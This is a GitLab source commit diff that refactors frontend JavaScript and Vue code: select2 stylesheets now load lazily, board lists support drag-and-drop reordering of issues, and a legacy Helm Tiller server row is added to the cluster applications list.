Add latest changes from gitlab-org/gitlab@master

This commit is contained in:
GitLab Bot 2020-11-18 09:09:02 +00:00
parent 0b81231d2d
commit 28724c880b
62 changed files with 781 additions and 1626 deletions

View file

@ -113,7 +113,6 @@ Rails/SaveBang:
- 'ee/spec/models/scim_oauth_access_token_spec.rb'
- 'ee/spec/models/upload_spec.rb'
- 'ee/spec/models/user_preference_spec.rb'
- 'ee/spec/models/user_spec.rb'
- 'ee/spec/models/visible_approvable_spec.rb'
- 'ee/spec/models/vulnerabilities/feedback_spec.rb'
- 'ee/spec/models/vulnerabilities/issue_link_spec.rb'

View file

@ -1,22 +1,29 @@
import $ from 'jquery';
import { loadCSSFile } from '../lib/utils/css_utils';
export default () => {
if ($('select.select2').length) {
const $select2Elements = $('select.select2');
if ($select2Elements.length) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
$('select.select2').select2({
width: 'resolve',
minimumResultsForSearch: 10,
dropdownAutoWidth: true,
});
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
$select2Elements.select2({
width: 'resolve',
minimumResultsForSearch: 10,
dropdownAutoWidth: true,
});
// Close select2 on escape
$('.js-select2').on('select2-close', () => {
setTimeout(() => {
$('.select2-container-active').removeClass('select2-container-active');
$(':focus').blur();
}, 1);
});
// Close select2 on escape
$('.js-select2').on('select2-close', () => {
requestAnimationFrame(() => {
$('.select2-container-active').removeClass('select2-container-active');
$(':focus').blur();
});
});
})
.catch(() => {});
})
.catch(() => {});
}

View file

@ -85,6 +85,7 @@ export default {
:disabled="disabled"
:issues="listIssues"
:list="list"
:can-admin-list="canAdminList"
/>
<!-- Will be only available in EE -->

View file

@ -6,7 +6,6 @@ import boardCard from './board_card.vue';
import eventHub from '../eventhub';
import boardsStore from '../stores/boards_store';
import { sprintf, __ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import {
getBoardSortableDefaultOptions,
@ -25,7 +24,6 @@ export default {
boardNewIssue,
GlLoadingIcon,
},
mixins: [glFeatureFlagMixin()],
props: {
disabled: {
type: Boolean,

View file

@ -1,12 +1,14 @@
<script>
import Draggable from 'vuedraggable';
import { mapActions, mapState } from 'vuex';
import { GlLoadingIcon } from '@gitlab/ui';
import defaultSortableConfig from '~/sortable/sortable_config';
import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_options';
import BoardNewIssue from './board_new_issue_new.vue';
import BoardCard from './board_card.vue';
import eventHub from '../eventhub';
import boardsStore from '../stores/boards_store';
import { sprintf, __ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'BoardList',
@ -15,7 +17,6 @@ export default {
BoardNewIssue,
GlLoadingIcon,
},
mixins: [glFeatureFlagMixin()],
props: {
disabled: {
type: Boolean,
@ -29,6 +30,11 @@ export default {
type: Array,
required: true,
},
canAdminList: {
type: Boolean,
required: false,
default: false,
},
},
data() {
return {
@ -55,12 +61,32 @@ export default {
loading() {
return this.listsFlags[this.list.id]?.isLoading;
},
listRef() {
// When list is draggable, the reference to the list needs to be accessed differently
return this.canAdminList ? this.$refs.list.$el : this.$refs.list;
},
treeRootWrapper() {
return this.canAdminList ? Draggable : 'ul';
},
treeRootOptions() {
const options = {
...defaultSortableConfig,
fallbackOnBody: false,
group: 'boards-list',
tag: 'ul',
'ghost-class': 'board-card-drag-active',
'data-list-id': this.list.id,
value: this.issues,
};
return this.canAdminList ? options : {};
},
},
watch: {
filters: {
handler() {
this.list.loadingMore = false;
this.$refs.list.scrollTop = 0;
this.listRef.scrollTop = 0;
},
deep: true,
},
@ -76,26 +102,26 @@ export default {
},
mounted() {
// Scroll event on list to load more
this.$refs.list.addEventListener('scroll', this.onScroll);
this.listRef.addEventListener('scroll', this.onScroll);
},
beforeDestroy() {
eventHub.$off(`toggle-issue-form-${this.list.id}`, this.toggleForm);
eventHub.$off(`scroll-board-list-${this.list.id}`, this.scrollToTop);
this.$refs.list.removeEventListener('scroll', this.onScroll);
this.listRef.removeEventListener('scroll', this.onScroll);
},
methods: {
...mapActions(['fetchIssuesForList']),
...mapActions(['fetchIssuesForList', 'moveIssue']),
listHeight() {
return this.$refs.list.getBoundingClientRect().height;
return this.listRef.getBoundingClientRect().height;
},
scrollHeight() {
return this.$refs.list.scrollHeight;
return this.listRef.scrollHeight;
},
scrollTop() {
return this.$refs.list.scrollTop + this.listHeight();
return this.listRef.scrollTop + this.listHeight();
},
scrollToTop() {
this.$refs.list.scrollTop = 0;
this.listRef.scrollTop = 0;
},
loadNextPage() {
const loadingDone = () => {
@ -120,6 +146,52 @@ export default {
}
});
},
handleDragOnStart() {
sortableStart();
},
handleDragOnEnd(params) {
sortableEnd();
const { newIndex, oldIndex, from, to, item } = params;
const { issueId, issueIid, issuePath } = item.dataset;
const { children } = to;
let moveBeforeId;
let moveAfterId;
const getIssueId = el => Number(el.dataset.issueId);
// If issue is being moved within the same list
if (from === to) {
if (newIndex > oldIndex && children.length > 1) {
// If issue is being moved down we look for the issue that ends up before
moveBeforeId = getIssueId(children[newIndex]);
} else if (newIndex < oldIndex && children.length > 1) {
// If issue is being moved up we look for the issue that ends up after
moveAfterId = getIssueId(children[newIndex]);
} else {
// If issue remains in the same list at the same position we do nothing
return;
}
} else {
// We look for the issue that ends up before the moved issue if it exists
if (children[newIndex - 1]) {
moveBeforeId = getIssueId(children[newIndex - 1]);
}
// We look for the issue that ends up after the moved issue if it exists
if (children[newIndex]) {
moveAfterId = getIssueId(children[newIndex]);
}
}
this.moveIssue({
issueId,
issueIid,
issuePath,
fromListId: from.dataset.listId,
toListId: to.dataset.listId,
moveBeforeId,
moveAfterId,
});
},
},
};
</script>
@ -139,13 +211,18 @@ export default {
<gl-loading-icon />
</div>
<board-new-issue v-if="list.type !== 'closed' && showIssueForm" :list="list" />
<ul
<component
:is="treeRootWrapper"
v-show="!loading"
ref="list"
v-bind="treeRootOptions"
:data-board="list.id"
:data-board-type="list.type"
:class="{ 'bg-danger-100': issuesSizeExceedsMax }"
class="board-list gl-w-full gl-h-full gl-list-style-none gl-mb-0 gl-p-2 js-board-list"
data-testid="tree-root-wrapper"
@start="handleDragOnStart"
@end="handleDragOnEnd"
>
<board-card
v-for="(issue, index) in issues"
@ -161,6 +238,6 @@ export default {
<span v-if="issues.length === list.issuesSize">{{ __('Showing all issues') }}</span>
<span v-else>{{ paginatedIssueText }}</span>
</li>
</ul>
</component>
</div>
</template>

View file

@ -52,6 +52,7 @@ export default class Clusters {
clusterStatus,
clusterStatusReason,
helpPath,
helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
ingressModSecurityHelpPath,
@ -68,8 +69,9 @@ export default class Clusters {
this.clusterBannerDismissedKey = `cluster_${this.clusterId}_banner_dismissed`;
this.store = new ClustersStore();
this.store.setHelpPaths(
this.store.setHelpPaths({
helpPath,
helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
ingressModSecurityHelpPath,
@ -78,7 +80,7 @@ export default class Clusters {
deployBoardsHelpPath,
cloudRunHelpPath,
ciliumHelpPath,
);
});
this.store.setManagePrometheusPath(managePrometheusPath);
this.store.updateStatus(clusterStatus);
this.store.updateStatusReason(clusterStatusReason);
@ -162,6 +164,7 @@ export default class Clusters {
type,
applications: this.state.applications,
helpPath: this.state.helpPath,
helmHelpPath: this.state.helmHelpPath,
ingressHelpPath: this.state.ingressHelpPath,
managePrometheusPath: this.state.managePrometheusPath,
ingressDnsHelpPath: this.state.ingressDnsHelpPath,

View file

@ -1,6 +1,7 @@
<script>
import { GlLoadingIcon, GlSprintf, GlLink } from '@gitlab/ui';
import gitlabLogo from 'images/cluster_app_logos/gitlab.png';
import helmLogo from 'images/cluster_app_logos/helm.png';
import jupyterhubLogo from 'images/cluster_app_logos/jupyterhub.png';
import kubernetesLogo from 'images/cluster_app_logos/kubernetes.png';
import certManagerLogo from 'images/cluster_app_logos/cert_manager.png';
@ -46,6 +47,11 @@ export default {
required: false,
default: '',
},
helmHelpPath: {
type: String,
required: false,
default: '',
},
ingressHelpPath: {
type: String,
required: false,
@ -150,6 +156,7 @@ export default {
},
logos: {
gitlabLogo,
helmLogo,
jupyterhubLogo,
kubernetesLogo,
certManagerLogo,
@ -172,6 +179,35 @@ export default {
</p>
<div class="cluster-application-list gl-mt-3">
<application-row
v-if="applications.helm.installed || applications.helm.uninstalling"
id="helm"
:logo-url="$options.logos.helmLogo"
:title="applications.helm.title"
:status="applications.helm.status"
:status-reason="applications.helm.statusReason"
:request-status="applications.helm.requestStatus"
:request-reason="applications.helm.requestReason"
:installed="applications.helm.installed"
:install-failed="applications.helm.installFailed"
:uninstallable="applications.helm.uninstallable"
:uninstall-successful="applications.helm.uninstallSuccessful"
:uninstall-failed="applications.helm.uninstallFailed"
title-link="https://v2.helm.sh/"
>
<template #description>
<p>
{{
s__(`ClusterIntegration|Can be safely removed. Prior to GitLab
13.2, GitLab used a remote Tiller server to manage the
applications. GitLab no longer uses this server.
Uninstalling this server will not affect your other
applications. This row will disappear afterwards.`)
}}
<gl-link :href="helmHelpPath">{{ __('More information') }}</gl-link>
</p>
</template>
</application-row>
<application-row
:id="ingressId"
:logo-url="$options.logos.kubernetesLogo"

View file

@ -16,7 +16,7 @@ import {
const CUSTOM_APP_WARNING_TEXT = {
[HELM]: sprintf(
s__(
'ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored.',
'ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected.',
),
{
gitlabManagedAppsNamespace: '<code>gitlab-managed-apps</code>',

View file

@ -193,6 +193,12 @@ const applicationStateMachine = {
uninstallSuccessful: true,
},
},
[NOT_INSTALLABLE]: {
target: NOT_INSTALLABLE,
effects: {
uninstallSuccessful: true,
},
},
[UNINSTALL_ERRORED]: {
target: INSTALLED,
effects: {

View file

@ -36,6 +36,7 @@ export default class ClusterStore {
constructor() {
this.state = {
helpPath: null,
helmHelpPath: null,
ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
@ -49,7 +50,7 @@ export default class ClusterStore {
applications: {
helm: {
...applicationInitialState,
title: s__('ClusterIntegration|Helm Tiller'),
title: s__('ClusterIntegration|Legacy Helm Tiller server'),
},
ingress: {
...applicationInitialState,
@ -126,26 +127,10 @@ export default class ClusterStore {
};
}
setHelpPaths(
helpPath,
ingressHelpPath,
ingressDnsHelpPath,
ingressModSecurityHelpPath,
environmentsHelpPath,
clustersHelpPath,
deployBoardsHelpPath,
cloudRunHelpPath,
ciliumHelpPath,
) {
this.state.helpPath = helpPath;
this.state.ingressHelpPath = ingressHelpPath;
this.state.ingressDnsHelpPath = ingressDnsHelpPath;
this.state.ingressModSecurityHelpPath = ingressModSecurityHelpPath;
this.state.environmentsHelpPath = environmentsHelpPath;
this.state.clustersHelpPath = clustersHelpPath;
this.state.deployBoardsHelpPath = deployBoardsHelpPath;
this.state.cloudRunHelpPath = cloudRunHelpPath;
this.state.ciliumHelpPath = ciliumHelpPath;
setHelpPaths(helpPaths) {
Object.assign(this.state, {
...helpPaths,
});
}
setManagePrometheusPath(managePrometheusPath) {

View file

@ -4,97 +4,107 @@ import axios from './lib/utils/axios_utils';
import Api from './api';
import { normalizeHeaders } from './lib/utils/common_utils';
import { __ } from '~/locale';
import { loadCSSFile } from './lib/utils/css_utils';
const fetchGroups = params => {
axios[params.type.toLowerCase()](params.url, {
params: params.data,
})
.then(res => {
const results = res.data || [];
const headers = normalizeHeaders(res.headers);
const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
const more = currentPage < totalPages;
params.success({
results,
pagination: {
more,
},
});
})
.catch(params.error);
};
const groupsSelect = () => {
// Needs to be accessible in rspec
window.GROUP_SELECT_PER_PAGE = 20;
$('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
const $select = $(this);
const allAvailable = $select.data('allAvailable');
const skipGroups = $select.data('skipGroups') || [];
const parentGroupID = $select.data('parentId');
const groupsPath = parentGroupID
? Api.subgroupsPath.replace(':id', parentGroupID)
: Api.groupsPath;
loadCSSFile(gon.select2_css_path)
.then(() => {
// Needs to be accessible in rspec
window.GROUP_SELECT_PER_PAGE = 20;
$select.select2({
placeholder: __('Search for a group'),
allowClear: $select.hasClass('allowClear'),
multiple: $select.hasClass('multiselect'),
minimumInputLength: 0,
ajax: {
url: Api.buildUrl(groupsPath),
dataType: 'json',
quietMillis: 250,
transport(params) {
axios[params.type.toLowerCase()](params.url, {
params: params.data,
})
.then(res => {
const results = res.data || [];
const headers = normalizeHeaders(res.headers);
const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
const more = currentPage < totalPages;
$('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
const $select = $(this);
const allAvailable = $select.data('allAvailable');
const skipGroups = $select.data('skipGroups') || [];
const parentGroupID = $select.data('parentId');
const groupsPath = parentGroupID
? Api.subgroupsPath.replace(':id', parentGroupID)
: Api.groupsPath;
params.success({
$select.select2({
placeholder: __('Search for a group'),
allowClear: $select.hasClass('allowClear'),
multiple: $select.hasClass('multiselect'),
minimumInputLength: 0,
ajax: {
url: Api.buildUrl(groupsPath),
dataType: 'json',
quietMillis: 250,
transport(params) {
fetchGroups(params);
},
data(search, page) {
return {
search,
page,
per_page: window.GROUP_SELECT_PER_PAGE,
all_available: allAvailable,
};
},
results(data, page) {
if (data.length) return { results: [] };
const groups = data.length ? data : data.results || [];
const more = data.pagination ? data.pagination.more : false;
const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
return {
results,
pagination: {
more,
},
});
})
.catch(params.error);
},
data(search, page) {
return {
search,
page,
per_page: window.GROUP_SELECT_PER_PAGE,
all_available: allAvailable,
};
},
results(data, page) {
if (data.length) return { results: [] };
page,
more,
};
},
},
// eslint-disable-next-line consistent-return
initSelection(element, callback) {
const id = $(element).val();
if (id !== '') {
return Api.group(id, callback);
}
},
formatResult(object) {
return `<div class='group-result'> <div class='group-name'>${escape(
object.full_name,
)}</div> <div class='group-path'>${object.full_path}</div> </div>`;
},
formatSelection(object) {
return escape(object.full_name);
},
dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
// we do not want to escape markup since we are displaying html in results
escapeMarkup(m) {
return m;
},
});
const groups = data.length ? data : data.results || [];
const more = data.pagination ? data.pagination.more : false;
const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
return {
results,
page,
more,
};
},
},
// eslint-disable-next-line consistent-return
initSelection(element, callback) {
const id = $(element).val();
if (id !== '') {
return Api.group(id, callback);
}
},
formatResult(object) {
return `<div class='group-result'> <div class='group-name'>${escape(
object.full_name,
)}</div> <div class='group-path'>${object.full_path}</div> </div>`;
},
formatSelection(object) {
return escape(object.full_name);
},
dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
// we do not want to escape markup since we are displaying html in results
escapeMarkup(m) {
return m;
},
});
$select.on('select2-loaded', () => {
const dropdown = document.querySelector('.select2-infinite .select2-results');
dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
});
});
$select.on('select2-loaded', () => {
const dropdown = document.querySelector('.select2-infinite .select2-results');
dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
});
});
})
.catch(() => {});
};
export default () => {

View file

@ -1,4 +1,5 @@
import $ from 'jquery';
import { loadCSSFile } from '../lib/utils/css_utils';
let instanceCount = 0;
@ -13,10 +14,15 @@ class AutoWidthDropdownSelect {
const { dropdownClass } = this;
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
this.$selectElement.select2({
dropdownCssClass: dropdownClass,
...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
});
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
this.$selectElement.select2({
dropdownCssClass: dropdownClass,
...AutoWidthDropdownSelect.selectOptions(this.dropdownClass),
});
})
.catch(() => {});
})
.catch(() => {});

View file

@ -2,6 +2,7 @@ import $ from 'jquery';
import Cookies from 'js-cookie';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import UsersSelect from './users_select';
import { loadCSSFile } from './lib/utils/css_utils';
export default class IssuableContext {
constructor(currentUser) {
@ -10,10 +11,15 @@ export default class IssuableContext {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
$('select.select2').select2({
width: 'resolve',
dropdownAutoWidth: true,
});
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
$('select.select2').select2({
width: 'resolve',
dropdownAutoWidth: true,
});
})
.catch(() => {});
})
.catch(() => {});

View file

@ -7,6 +7,7 @@ import ZenMode from './zen_mode';
import AutoWidthDropdownSelect from './issuable/auto_width_dropdown_select';
import { parsePikadayDate, pikadayToString } from './lib/utils/datetime_utility';
import { queryToObject, objectToQuery } from './lib/utils/url_utility';
import { loadCSSFile } from './lib/utils/css_utils';
const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
const MR_TARGET_BRANCH = 'merge_request[target_branch]';
@ -184,36 +185,41 @@ export default class IssuableForm {
initTargetBranchDropdown() {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
this.$targetBranchSelect.select2({
...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
ajax: {
url: this.$targetBranchSelect.data('endpoint'),
dataType: 'JSON',
quietMillis: 250,
data(search) {
return {
search,
};
},
results(data) {
return {
// `data` keys are translated so we can't just access them with a string based key
results: data[Object.keys(data)[0]].map(name => ({
id: name,
text: name,
})),
};
},
},
initSelection(el, callback) {
const val = el.val();
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
this.$targetBranchSelect.select2({
...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
ajax: {
url: this.$targetBranchSelect.data('endpoint'),
dataType: 'JSON',
quietMillis: 250,
data(search) {
return {
search,
};
},
results(data) {
return {
// `data` keys are translated so we can't just access them with a string based key
results: data[Object.keys(data)[0]].map(name => ({
id: name,
text: name,
})),
};
},
},
initSelection(el, callback) {
const val = el.val();
callback({
id: val,
text: val,
callback({
id: val,
text: val,
});
},
});
},
});
})
.catch(() => {});
})
.catch(() => {});
}

View file

@ -54,7 +54,6 @@ import { s__ } from '~/locale';
file.promptDiscardConfirmation = false;
file.resolveMode = DEFAULT_RESOLVE_MODE;
file.filePath = this.getFilePath(file);
file.iconClass = `fa-${file.blob_icon}`;
file.blobPath = file.blob_path;
if (file.type === CONFLICT_TYPES.TEXT) {

View file

@ -1,5 +1,6 @@
import $ from 'jquery';
import Vue from 'vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { deprecatedCreateFlash as createFlash } from '../flash';
import initIssuableSidebar from '../init_issuable_sidebar';
import './merge_conflict_store';
@ -24,6 +25,7 @@ export default function initMergeConflicts() {
gl.MergeConflictsResolverApp = new Vue({
el: '#conflicts',
components: {
FileIcon,
'diff-file-editor': gl.mergeConflicts.diffFileEditor,
'inline-conflict-lines': gl.mergeConflicts.inlineConflictLines,
'parallel-conflict-lines': gl.mergeConflicts.parallelConflictLines,

View file

@ -4,110 +4,116 @@ import $ from 'jquery';
import Api from './api';
import ProjectSelectComboButton from './project_select_combo_button';
import { s__ } from './locale';
import { loadCSSFile } from './lib/utils/css_utils';
const projectSelect = () => {
$('.ajax-project-select').each(function(i, select) {
let placeholder;
const simpleFilter = $(select).data('simpleFilter') || false;
const isInstantiated = $(select).data('select2');
this.groupId = $(select).data('groupId');
this.userId = $(select).data('userId');
this.includeGroups = $(select).data('includeGroups');
this.allProjects = $(select).data('allProjects') || false;
this.orderBy = $(select).data('orderBy') || 'id';
this.withIssuesEnabled = $(select).data('withIssuesEnabled');
this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
this.withShared =
$(select).data('withShared') === undefined ? true : $(select).data('withShared');
this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
this.allowClear = $(select).data('allowClear') || false;
loadCSSFile(gon.select2_css_path)
.then(() => {
$('.ajax-project-select').each(function(i, select) {
let placeholder;
const simpleFilter = $(select).data('simpleFilter') || false;
const isInstantiated = $(select).data('select2');
this.groupId = $(select).data('groupId');
this.userId = $(select).data('userId');
this.includeGroups = $(select).data('includeGroups');
this.allProjects = $(select).data('allProjects') || false;
this.orderBy = $(select).data('orderBy') || 'id';
this.withIssuesEnabled = $(select).data('withIssuesEnabled');
this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
this.withShared =
$(select).data('withShared') === undefined ? true : $(select).data('withShared');
this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
this.allowClear = $(select).data('allowClear') || false;
placeholder = s__('ProjectSelect|Search for project');
if (this.includeGroups) {
placeholder += s__('ProjectSelect| or group');
}
$(select).select2({
placeholder,
minimumInputLength: 0,
query: query => {
let projectsCallback;
const finalCallback = function(projects) {
const data = {
results: projects,
};
return query.callback(data);
};
placeholder = s__('ProjectSelect|Search for project');
if (this.includeGroups) {
projectsCallback = function(projects) {
const groupsCallback = function(groups) {
const data = groups.concat(projects);
return finalCallback(data);
placeholder += s__('ProjectSelect| or group');
}
$(select).select2({
placeholder,
minimumInputLength: 0,
query: query => {
let projectsCallback;
const finalCallback = function(projects) {
const data = {
results: projects,
};
return query.callback(data);
};
return Api.groups(query.term, {}, groupsCallback);
};
} else {
projectsCallback = finalCallback;
}
if (this.groupId) {
return Api.groupProjects(
this.groupId,
query.term,
{
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
with_shared: this.withShared,
include_subgroups: this.includeProjectsInSubgroups,
order_by: 'similarity',
},
projectsCallback,
);
} else if (this.userId) {
return Api.userProjects(
this.userId,
query.term,
{
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
with_shared: this.withShared,
include_subgroups: this.includeProjectsInSubgroups,
},
projectsCallback,
);
}
return Api.projects(
query.term,
{
order_by: this.orderBy,
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
membership: !this.allProjects,
if (this.includeGroups) {
projectsCallback = function(projects) {
const groupsCallback = function(groups) {
const data = groups.concat(projects);
return finalCallback(data);
};
return Api.groups(query.term, {}, groupsCallback);
};
} else {
projectsCallback = finalCallback;
}
if (this.groupId) {
return Api.groupProjects(
this.groupId,
query.term,
{
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
with_shared: this.withShared,
include_subgroups: this.includeProjectsInSubgroups,
order_by: 'similarity',
},
projectsCallback,
);
} else if (this.userId) {
return Api.userProjects(
this.userId,
query.term,
{
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
with_shared: this.withShared,
include_subgroups: this.includeProjectsInSubgroups,
},
projectsCallback,
);
}
return Api.projects(
query.term,
{
order_by: this.orderBy,
with_issues_enabled: this.withIssuesEnabled,
with_merge_requests_enabled: this.withMergeRequestsEnabled,
membership: !this.allProjects,
},
projectsCallback,
);
},
projectsCallback,
);
},
id(project) {
if (simpleFilter) return project.id;
return JSON.stringify({
name: project.name,
url: project.web_url,
id(project) {
if (simpleFilter) return project.id;
return JSON.stringify({
name: project.name,
url: project.web_url,
});
},
text(project) {
return project.name_with_namespace || project.name;
},
initSelection(el, callback) {
// eslint-disable-next-line promise/no-nesting
return Api.project(el.val()).then(({ data }) => callback(data));
},
allowClear: this.allowClear,
dropdownCssClass: 'ajax-project-dropdown',
});
},
text(project) {
return project.name_with_namespace || project.name;
},
initSelection(el, callback) {
return Api.project(el.val()).then(({ data }) => callback(data));
},
allowClear: this.allowClear,
dropdownCssClass: 'ajax-project-dropdown',
});
if (isInstantiated || simpleFilter) return select;
return new ProjectSelectComboButton(select);
});
if (isInstantiated || simpleFilter) return select;
return new ProjectSelectComboButton(select);
});
})
.catch(() => {});
};
export default () => {

View file

@ -1,5 +1,6 @@
import $ from 'jquery';
import AccessorUtilities from './lib/utils/accessor';
import { loadCSSFile } from './lib/utils/css_utils';
export default class ProjectSelectComboButton {
constructor(select) {
@ -46,9 +47,14 @@ export default class ProjectSelectComboButton {
openDropdown(event) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
$(event.currentTarget)
.siblings('.project-item-select')
.select2('open');
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
$(event.currentTarget)
.siblings('.project-item-select')
.select2('open');
})
.catch(() => {});
})
.catch(() => {});
}

View file

@ -15,6 +15,7 @@ import { parseBoolean, spriteIcon } from '../lib/utils/common_utils';
import { getAjaxUsersSelectOptions, getAjaxUsersSelectParams } from './utils';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { fixTitle, dispose } from '~/tooltips';
import { loadCSSFile } from '../lib/utils/css_utils';
// TODO: remove eventHub hack after code splitting refactor
window.emitSidebarEvent = window.emitSidebarEvent || $.noop;
@ -592,92 +593,97 @@ function UsersSelect(currentUser, els, options = {}) {
if ($('.ajax-users-select').length) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
$('.ajax-users-select').each((i, select) => {
const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
options.skipLdap = $(select).hasClass('skip_ldap');
const showNullUser = $(select).data('nullUser');
const showAnyUser = $(select).data('anyUser');
const showEmailUser = $(select).data('emailUser');
const firstUser = $(select).data('firstUser');
return $(select).select2({
placeholder: __('Search for a user'),
multiple: $(select).hasClass('multiselect'),
minimumInputLength: 0,
query(query) {
return userSelect.users(query.term, options, users => {
let name;
const data = {
results: users,
};
if (query.term.length === 0) {
if (firstUser) {
// Move current user to the front of the list
const ref = data.results;
// eslint-disable-next-line promise/no-nesting
loadCSSFile(gon.select2_css_path)
.then(() => {
$('.ajax-users-select').each((i, select) => {
const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
options.skipLdap = $(select).hasClass('skip_ldap');
const showNullUser = $(select).data('nullUser');
const showAnyUser = $(select).data('anyUser');
const showEmailUser = $(select).data('emailUser');
const firstUser = $(select).data('firstUser');
return $(select).select2({
placeholder: __('Search for a user'),
multiple: $(select).hasClass('multiselect'),
minimumInputLength: 0,
query(query) {
return userSelect.users(query.term, options, users => {
let name;
const data = {
results: users,
};
if (query.term.length === 0) {
if (firstUser) {
// Move current user to the front of the list
const ref = data.results;
for (let index = 0, len = ref.length; index < len; index += 1) {
const obj = ref[index];
if (obj.username === firstUser) {
data.results.splice(index, 1);
data.results.unshift(obj);
break;
for (let index = 0, len = ref.length; index < len; index += 1) {
const obj = ref[index];
if (obj.username === firstUser) {
data.results.splice(index, 1);
data.results.unshift(obj);
break;
}
}
}
if (showNullUser) {
const nullUser = {
name: s__('UsersSelect|Unassigned'),
id: 0,
};
data.results.unshift(nullUser);
}
if (showAnyUser) {
name = showAnyUser;
if (name === true) {
name = s__('UsersSelect|Any User');
}
const anyUser = {
name,
id: null,
};
data.results.unshift(anyUser);
}
}
}
if (showNullUser) {
const nullUser = {
name: s__('UsersSelect|Unassigned'),
id: 0,
};
data.results.unshift(nullUser);
}
if (showAnyUser) {
name = showAnyUser;
if (name === true) {
name = s__('UsersSelect|Any User');
if (
showEmailUser &&
data.results.length === 0 &&
query.term.match(/^[^@]+@[^@]+$/)
) {
const trimmed = query.term.trim();
const emailUser = {
name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
username: trimmed,
id: trimmed,
invite: true,
};
data.results.unshift(emailUser);
}
const anyUser = {
name,
id: null,
};
data.results.unshift(anyUser);
}
}
if (
showEmailUser &&
data.results.length === 0 &&
query.term.match(/^[^@]+@[^@]+$/)
) {
const trimmed = query.term.trim();
const emailUser = {
name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
username: trimmed,
id: trimmed,
invite: true,
};
data.results.unshift(emailUser);
}
return query.callback(data);
return query.callback(data);
});
},
initSelection() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.initSelection.apply(userSelect, args);
},
formatResult() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.formatResult.apply(userSelect, args);
},
formatSelection() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.formatSelection.apply(userSelect, args);
},
dropdownCssClass: 'ajax-users-dropdown',
// we do not want to escape markup since we are displaying html in results
escapeMarkup(m) {
return m;
},
});
},
initSelection() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.initSelection.apply(userSelect, args);
},
formatResult() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.formatResult.apply(userSelect, args);
},
formatSelection() {
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
return userSelect.formatSelection.apply(userSelect, args);
},
dropdownCssClass: 'ajax-users-dropdown',
// we do not want to escape markup since we are displaying html in results
escapeMarkup(m) {
return m;
},
});
});
});
})
.catch(() => {});
})
.catch(() => {});
}

View file

@ -5,7 +5,6 @@
// directory.
@import '@gitlab/at.js/dist/css/jquery.atwho';
@import 'dropzone/dist/basic';
@import 'select2';
// GitLab UI framework
@import 'framework';

View file

@ -135,7 +135,6 @@ hr {
text-overflow: ellipsis;
white-space: nowrap;
> div:not(.block):not(.select2-display-none),
.str-truncated {
display: inline;
}

View file

@ -2,10 +2,6 @@
.diff-file {
margin-bottom: $gl-padding;
&.conflict {
